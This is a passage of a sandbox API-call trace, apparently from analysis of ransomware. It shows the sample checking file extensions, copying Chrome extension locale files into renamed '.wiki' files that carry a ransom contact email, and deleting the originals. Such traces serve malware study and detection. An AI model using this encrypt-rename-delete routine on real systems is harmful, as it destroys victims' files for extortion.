(lpString=".ppt") returned 4 [0180.530] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 151 [0180.530] lstrlenW (lpString=".zip") returned 4 [0180.530] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.530] lstrlenW (lpString=".rar") returned 4 [0180.530] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.530] lstrlenW (lpString=".bz2") returned 4 [0180.530] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.530] lstrlenW (lpString=".7z") returned 3 [0180.530] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 151 [0180.530] lstrlenW (lpString=".dbf") returned 4 [0180.530] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 151 [0180.530] lstrlenW (lpString=".1cd") returned 4 [0180.530] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 151 [0180.531] lstrlenW (lpString=".jpg") returned 4 [0180.531] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 151 [0180.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 151 [0180.531] lstrlenW (lpString=".doc") returned 4 [0180.531] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.531] lstrlenW (lpString=".docx") returned 5 [0180.531] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.531] lstrlenW (lpString=".pdf") returned 4 [0180.531] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.531] lstrlenW (lpString=".xls") returned 4 [0180.531] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.531] lstrlenW (lpString=".xlsx") returned 5 [0180.531] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.531] lstrlenW (lpString=".ppt") returned 4 [0180.531] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 151 [0180.531] lstrlenW (lpString=".zip") returned 4 [0180.531] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.531] lstrlenW (lpString=".rar") returned 4 [0180.531] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.531] lstrlenW (lpString=".bz2") returned 4 [0180.531] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.531] lstrlenW (lpString=".7z") returned 3 [0180.531] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 151 [0180.531] lstrlenW (lpString=".dbf") returned 4 [0180.531] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.531] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 151 [0180.531] lstrlenW (lpString=".1cd") returned 4 [0180.531] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.532] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json") returned 151 [0180.532] lstrlenW (lpString=".jpg") returned 4 [0180.532] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.532] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.532] lstrlenW (lpString="messages.json") returned 13 [0180.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.532] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=234) returned 1 [0180.532] CloseHandle (hObject=0x2e0) returned 1 [0180.532] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json")) returned 0x2020 [0180.532] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.533] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.533] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.533] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0180.535] GetLastError () returned 0x0 [0180.535] ReadFile (in: hFile=0x2e0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xea, lpOverlapped=0x0) returned 1 [0180.536] WriteFile (in: hFile=0x334, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0180.537] ReadFile (in: hFile=0x2e0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.537] WriteFile (in: hFile=0x334, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.537] SetEndOfFile (hFile=0x334) returned 1 [0180.537] CloseHandle (hObject=0x334) returned 1 [0180.537] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.537] SetEndOfFile (hFile=0x2e0) returned 1 [0180.538] CloseHandle (hObject=0x2e0) returned 1 [0180.538] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.538] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json")) returned 1 [0180.538] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 151 [0180.538] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 151 [0180.539] lstrlenW (lpString=".doc") returned 4 [0180.539] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.539] lstrlenW (lpString=".docx") returned 5 [0180.539] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.539] lstrlenW (lpString=".pdf") returned 4 [0180.539] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.539] lstrlenW (lpString=".xls") returned 4 [0180.539] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.539] lstrlenW (lpString=".xlsx") returned 5 [0180.539] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.539] lstrlenW (lpString=".ppt") returned 4 [0180.539] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 151 [0180.539] lstrlenW (lpString=".zip") returned 4 [0180.539] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.539] lstrlenW (lpString=".rar") returned 4 [0180.539] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.539] lstrlenW (lpString=".bz2") returned 4 [0180.539] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.539] lstrlenW (lpString=".7z") returned 3 [0180.539] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 151 [0180.539] lstrlenW (lpString=".dbf") returned 4 [0180.539] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 151 [0180.539] lstrlenW (lpString=".1cd") returned 4 [0180.539] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 151 [0180.539] lstrlenW (lpString=".jpg") returned 4 [0180.539] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.539] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 151 [0180.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 151 [0180.540] lstrlenW (lpString=".doc") returned 4 [0180.540] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.540] lstrlenW (lpString=".docx") returned 5 [0180.540] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.540] lstrlenW (lpString=".pdf") returned 4 [0180.540] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.540] lstrlenW (lpString=".xls") returned 4 [0180.540] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.540] lstrlenW (lpString=".xlsx") returned 5 [0180.540] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.540] lstrlenW (lpString=".ppt") returned 4 [0180.540] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 151 [0180.540] lstrlenW (lpString=".zip") returned 4 [0180.540] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.540] lstrlenW (lpString=".rar") returned 4 [0180.540] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.540] lstrlenW (lpString=".bz2") returned 4 [0180.540] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.540] lstrlenW (lpString=".7z") returned 3 [0180.540] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 151 [0180.540] lstrlenW (lpString=".dbf") returned 4 [0180.540] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 151 [0180.540] lstrlenW (lpString=".1cd") returned 4 [0180.540] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.540] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json") returned 151 [0180.540] lstrlenW (lpString=".jpg") returned 4 [0180.540] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.541] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0180.541] lstrlenW (lpString="messages.json") returned 13 [0180.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.541] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=304) returned 1 [0180.541] CloseHandle (hObject=0x2e0) returned 1 [0180.541] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json")) returned 0x2020 [0180.541] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0180.541] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0180.542] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.542] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.542] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0180.542] GetLastError () returned 0x0 [0180.542] ReadFile (in: hFile=0x2e0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x130, lpOverlapped=0x0) returned 1 [0180.543] WriteFile (in: hFile=0x334, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x140, lpOverlapped=0x0) returned 1 [0180.544] ReadFile (in: hFile=0x2e0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0180.544] WriteFile (in: hFile=0x334, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0180.544] SetEndOfFile (hFile=0x334) returned 1 [0180.544] CloseHandle (hObject=0x334) returned 1 [0180.544] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0180.544] SetEndOfFile (hFile=0x2e0) returned 1 [0180.545] CloseHandle (hObject=0x2e0) returned 1 [0180.545] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0180.545] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json")) returned 1 [0180.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 151 [0180.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 151 [0180.546] lstrlenW (lpString=".doc") returned 4 [0180.546] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.546] lstrlenW (lpString=".docx") returned 5 [0180.546] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.546] lstrlenW (lpString=".pdf") returned 4 [0180.546] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.546] lstrlenW (lpString=".xls") returned 4 [0180.546] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.546] lstrlenW (lpString=".xlsx") returned 5 [0180.546] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.546] lstrlenW (lpString=".ppt") returned 4 [0180.546] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 151 [0180.546] lstrlenW (lpString=".zip") returned 4 [0180.546] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.546] lstrlenW (lpString=".rar") returned 4 [0180.546] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.546] lstrlenW (lpString=".bz2") returned 4 [0180.546] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.546] lstrlenW (lpString=".7z") returned 3 [0180.546] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 151 [0180.546] lstrlenW (lpString=".dbf") returned 4 [0180.546] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0180.546] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 151 [0180.546] lstrlenW (lpString=".1cd") returned 4 [0180.547] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0180.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 151 [0180.547] lstrlenW (lpString=".jpg") returned 4 [0180.547] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0180.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 151 [0180.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 151 [0180.547] lstrlenW (lpString=".doc") returned 4 [0180.547] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0180.547] lstrlenW (lpString=".docx") returned 5 [0180.547] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0180.547] lstrlenW (lpString=".pdf") returned 4 [0180.547] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0180.547] lstrlenW (lpString=".xls") returned 4 [0180.547] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0180.547] lstrlenW (lpString=".xlsx") returned 5 [0180.547] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0180.547] lstrlenW (lpString=".ppt") returned 4 [0180.547] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0180.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 151 [0180.547] lstrlenW (lpString=".zip") returned 4 [0180.547] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0180.547] lstrlenW (lpString=".rar") returned 4 [0180.547] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0180.547] lstrlenW (lpString=".bz2") returned 4 [0180.547] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0180.547] lstrlenW (lpString=".7z") returned 3 [0180.547] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0180.547] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\uk\\messages.json") returned 151 [0180.547] lstrlenW (lpString=".dbf") returned 4 [0180.547] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 